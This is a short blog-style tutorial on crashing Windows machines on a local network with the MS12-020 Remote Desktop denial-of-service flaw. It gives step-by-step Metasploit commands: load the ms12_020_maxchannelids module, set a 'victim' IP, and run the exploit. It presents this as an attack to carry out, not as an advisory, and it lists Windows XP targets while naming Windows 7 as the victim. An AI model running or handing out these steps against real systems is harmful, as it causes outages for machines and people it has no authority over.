How to Blue Screen Death Attack on Windows XP PC in LAN

MS12-020 Microsoft Remote Desktop Use-After-Free DoS

This module exploits the MS12-020 RDP vulnerability originally discovered and reported by Luigi Auriemma. The flaw can be found in the way the T.125 Connect MCSPDU packet is handled in the maxChannelIDs field, which will result an invalid pointer being used, therefore causing a denial-of-service condition.

Exploit Targets

Windows XP SP3
Windows XP SP2

Requirement

Attacker: Backtrack 5

Victim PC: Windows 7

Open backtrack terminal type msfconsole

Now type use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

Msf exploit (ms12_020_maxchannelids)>set rhost 192.168.1.8 (IP address of Remote Victim PC)

Msf exploit (ms12_020_maxchannelids)>exploit

Related Posts Plugin for WordPress, Blogger...

12 Comments How to Blue Screen Death Attack on Windows XP PC in LAN

Leave a Reply